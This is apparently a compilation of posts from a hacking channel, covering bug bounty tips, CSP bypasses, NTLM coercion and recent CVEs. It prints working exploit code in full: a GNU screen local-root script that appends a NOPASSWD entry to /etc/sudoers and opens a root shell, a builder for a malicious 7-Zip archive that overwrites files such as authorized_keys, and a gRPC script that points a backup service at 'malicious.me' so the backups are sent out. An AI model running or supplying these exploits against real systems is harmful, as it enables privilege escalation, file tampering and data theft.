Hacking Vidhya

🔖AWS penetration testing: A step-by-step Guide for Beginners ☄️https://www.hackthebox.com/blog/aws-pentesting-guide

🕵️‍♂️ Bug Bounty Tip - Extract JavaScript File URLs from Any Page! Forget opening DevTools - use this bookmarklet to instantly extract all .js file URLs and download them in a .txt file. 🚀 Why this matters: Quickly collect all linked JavaScript files Use them for static analysis (LinkFinder, SecretFinder, etc.) Great for recon, endpoint discovery & auth bypasses 📌 Bookmarklet Code: javascript:(function(){let urls=[];document.querySelectorAll('*').forEach(e=>{urls.push(e.src,e.href,e.url)});urls=[...new Set(urls)].filter(u=>u&&u.endsWith('.js')).join('\n');let blob=new Blob([urls],{type:'text/plain'});let a=document.createElement('a');a.href=URL.createObjectURL(blob);a.download='javascript_urls.txt';a.click();})(); 💡 How to use: Create a new bookmark in your browser. Paste the above code into the URL field. Visit a target site and click the bookmark. A javascript_urls.txt file will be downloaded with all .js links. 🔥 Now you can feed that into: LinkFinder SecretFinder JSParser Or manual analysis!

That CSP error in your console? It's not a wall—it's an invitation. I just published Part 1 of my CSP Bypass series: the fundamentals that work on 70-80% of policies. 5 quick wins that still pay bounties 🧵👇 1️⃣ 'unsafe-inline' = instant win 2️⃣ Wildcard domains = JSONP paradise 3️⃣ File uploads to CDNs = code execution 4️⃣ Missing base-uri = hijack all scripts 5️⃣ Missing object-src = embed attacks Each one has gotten ~$2,500-$5,000 payouts. 2. example: Policy: script-src 'self' cdn.example.com I uploaded a .js file as a profile picture → got the CDN URL → loaded it as a script. $3,000 bounty from a "secure" CSP. The key? Attack the TRUSTED domains, not the policy itself. 3. My CSP audit checklist: ✓ Read full policy ✓ Hunt for JSONP on whitelisted domains ✓ Test file uploads ✓ Check base-uri ✓ Check object-src ✓ Look for unsafe-inline/eval One hit from this list = potential critical XSS. This is just the beginning. Part 2: Advanced nonce exploitation, AngularJS escapes, service workers Part 3: DOM clobbering, mutation XSS, scriptless attacks Full guide + testing checklist: https://medium.com/@Aacle/a-bug-hunters-guide-to-csp-bypasses-part-1-69b606fd2699

💀 EvilentCoerce💀 💀 A PoC tool that triggers the ElfrOpenBELW procedure in the MS-EVEN RPC interface (used for Windows Event Log service), causing the target machine to connect to an attacker-controlled SMB share. If antivirus software (e.g., Defender) is present, it may scan the file and unintentionally leak NetNTLMv2 credentials, which can be relayed via ntlmrelayx. GitHub: https://github.com/Thunter-HackTeam/EvilentCoerce

👹 Multiple Security Issues in Screen 👁 CVE-2025-23395 Screen LPE exploit

#!/bin/sh

F=$(mktemp)
L=${HOME}/screen.log
T=/etc/sudoers
rm -rf $F $L
mkfifo $F
O=$(stat --printf="%s" $T)
echo "[+] spawning GNU screen"
screen -L -Logfile $L -dmS hax sh -c "cat $F"
while [ ! -f $L ]; do sleep 0.1; done
echo "[+] logfile appeared, doing hax"
rm $L
ln -s $T $L
P="${USER} ALL=(ALL) NOPASSWD:ALL"
(echo $P; for i in `seq 8192`; do echo; done) > $F
if [ $(stat --printf="%s" $T) -gt $O ] ; then
        echo "[+] bl1ng bl1ng, we got it"
        sudo sh
else
        echo "[-] exploit failed :("
fi
rm -rf $F $L

Blog: https://security.opensuse.org/2025/05/12/screen-security-issues.html#3a-local-root-exploit-via-logfile_reopen-cve-2025-23395

Creating dumps for subsequent memory analysis

#!/bin/bash

if [ -z $1 ]
then
echo "Usage: ./dumper <apk-package>"
exit
fi

if ! command -v adb &> /dev/null
then
echo "adb could not be found.  Add your \$ANDROID_HOME/platform-tools to PATH"
exit
fi

if ! command -v hprof-conv &> /dev/null
then
echo "hprof-conv could not be found.  Add your \$ANDROID_HOME/platform-tools to PATH"
exit
fi

DEFAULT_HPROF_FILE=dump_$(date +%s).hprof

adb shell am dumpheap $(adb shell ps | grep $1 | awk '{print $2}') /data/local/tmp/$DEFAULT_HPROF_FILE &&
adb pull /data/local/tmp/$DEFAULT_HPROF_FILE &&
hprof-conv -z $DEFAULT_HPROF_FILE $1.hprof &&
adb shell "rm /data/local/tmp/$DEFAULT_HPROF_FILE"

if [[ -f $1.hprof ]]
then
echo "👨‍🔬 Dumped to: $1.hprof"
else
echo "🙉 Something went wrong!"
fi

🎲Bypassing MTE with CVE-2025-0072 Article by Man Yue Mo about exploiting a page use-after-free vulnerability in the ARM's Mali GPU driver in the code that manages userspace-mapped pages. Author published an exploit for this bug that disable SELinux and gains root privileges on Pixel 8 running from the untrusted_app context. The exploit is not affected by MTE.

😈 CVE-2025-53770 SharePoint Vulnerability Scanner 👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻👩‍💻

A comprehensive security scanner designed to identify SharePoint instances vulnerable to CVE-2025-53770, which involves a deserialization vulnerability in SharePoint's ExcelDataSet component that allows remote code execution and machine key extraction This scanner incorporates real-world attack patterns observed in active exploitation campaigns and provides detailed confidence scoring based on machine key extraction, secondary payload deployment, and SharePoint component processing indicators

JSON Output (-o results.json)

[
  {
    "host": "sharepoint.example.com",
    "url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
    "scan_time": "2025-07-21T10:30:00.123456",
    "vulnerable": true,
    "status_code": 200,
    "response_size": 15432,
    "error": null,
    "response_time": 1.23
  }
]

💻 https://github.com/ZephrFish/CVE-2025-53770-Scanner

7️⃣⚡️⚡️⚡️ ⚡️⚡️⚡️⚡️⚡️⚡️⚡️ ⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️ 🌟 7-Zip Symlink File Overwrite Affected: 7-Zip ≤ 25.01 🔥CVE-2025-55188 💎 What it does: 7-Zip mishandles symlinks when extracting archives. A crafted archive can overwrite any file you have access to, like .ssh/authorized_keys. 👍 Exploit Example (create malicious 7z):

#!/bin/bash
if [ "$#" -ne 3 ]; then
    echo "Usage: $0 <payload_file> <target_file> <output_archive>"
    exit 1
fi

PAYLOAD="$1"
TARGET="$2"
OUT="$3"

WORKDIR=$(mktemp -d)
ln -s "$TARGET" "$WORKDIR/symlink"
cp "$PAYLOAD" "$WORKDIR/symlink"

tar -cf "$WORKDIR/exploit.tar" -C "$WORKDIR" symlink
7z a "$OUT" "$WORKDIR/exploit.tar" >/dev/null

echo "[*] Exploit created: $OUT"
rm -rf "$WORKDIR"

📝 How it works: 1. Make a symlink to the target file. 2. Copy your payload through the symlink. 3. Pack it in a 7z archive. 4. When extracted, 7-Zip writes the payload to the target file.

😘 Checking for Misconfigured gRPC Backup System 💀🔯💀🔯💀🔯💀🔯💀🔯💀

import grpc
import backup_service_pb2
import backup_service_pb2_grpc
import time

def hack_backup_service():
    print("Trying to connect to the backup server...")
    
    channel = grpc.insecure_channel('backup-server:50051')
    stub = backup_service_pb2_grpc.BackupServiceStub(channel)

    malicious_payload = backup_service_pb2.BackupHostMessage(
        user_id="admin-ofc",
        backup_host="malicious.me",
        timestamp=int(time.time())
    )

    try:
        result = stub.SendBackupHost(malicious_payload)
        print("Got response from server:", result)
        if hasattr(result, 'success') and result.success:
            print("✅ Backup host changed successfully!")
        else:
            print("❌ Server rejected the request")
    except grpc.RpcError as grpc_error:
        print("gRPC error:", grpc_error.code(), grpc_error.details())
    except Exception as generic_error:
        print("Something went wrong:", generic_error)

if __name__ == "__main__":
    hack_backup_service()

⚡️⚡️⚡️⚡️ ⚡️⚡️⚡️⚡️ ⚡️⚡️⚡️⚡️⚡️ When a hacker attacks a service, for example brute forcing passwords, usually the response is to block their IP: iptables -A INPUT -s $attacker -j DROP But a determined hacker is unlikely to be stopped by this. So why not give them what they want - let them attack, just not quite who they expect... With just two firewall rules, we can turn the malicious traffic back and redirect the attack to its own source:

iptables -t nat -I PREROUTING -s $hacker -p tcp --dport 22 -j DNAT --to-destination $hacker:22
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -I POSTROUTING -p tcp --dport 22 -d $hacker -j MASQUERADE

Unlike blocking the port, this trick is almost invisible to the hacker, since the target port remains open (only the banner changes and the IP.ttl doubles). But after entering these commands, the hacker will be guessing passwords on themselves, thinking they are attacking your server. And if they guess the password, they will install a cryptominer or whatever else they install.